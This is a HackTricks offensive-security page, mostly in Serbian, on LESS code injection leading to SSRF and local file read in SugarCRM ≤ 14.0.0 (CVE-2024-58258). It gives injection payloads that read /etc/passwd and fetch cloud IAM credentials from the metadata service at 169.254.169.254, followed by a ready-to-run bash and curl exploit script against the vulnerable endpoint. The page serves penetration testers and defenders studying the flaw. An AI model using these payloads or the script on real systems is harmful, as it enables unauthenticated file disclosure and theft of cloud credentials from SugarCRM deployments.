SSRF ranjive platforme
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Proverite https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/
LESS Code Injection leading to SSRF & Local File Read
LESS je popularan CSS pre-processor koji dodaje varijable, mixins, funkcije i moćnu @import direktivu. Tokom kompilacije LESS engine će fetch the resources referenced in @import statements i ubaciti ("inline") njihov sadržaj u rezultatni CSS kada se koristi (inline) opcija.
Kada aplikacija konkatenira user-controlled input u string koji kasnije parsira LESS compiler, napadač može inject arbitrary LESS code. Zloupotrebom @import (inline) napadač može primorati server da preuzme:
- Local files via the
file://protocol (information disclosure / Local File Inclusion). - Remote resources on internal networks or cloud metadata services (SSRF).
Ova tehnika je viđena u realnim proizvodima kao što je SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).
Exploitation
- Identifikujte parametar koji je direktno umetnut unutar stylesheet stringa koji obrađuje LESS engine (npr.
?lm=u SugarCRM). - Zatvorite trenutnu izjavu i injektujte nove direktive. Najčešći primitivni simboli su:
;– terminates the previous declaration.}– closes the previous block (if required).
- Koristite
@import (inline) '<URL>';za čitanje proizvoljnih resursa. - Opcionalno injektujte a marker (
data:URI) nakon importa da olakšate izdvajanje preuzetog sadržaja iz kompajliranog CSS-a.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Sadržaj /etc/passwd biće prikazan u HTTP response-u neposredno pre markera @@END@@.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Automatski PoC (primer SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Stvarni slučajevi
| Proizvod | Ranljiv endpoint | Uticaj |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Unauthenticated SSRF & local file read |
Reference
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks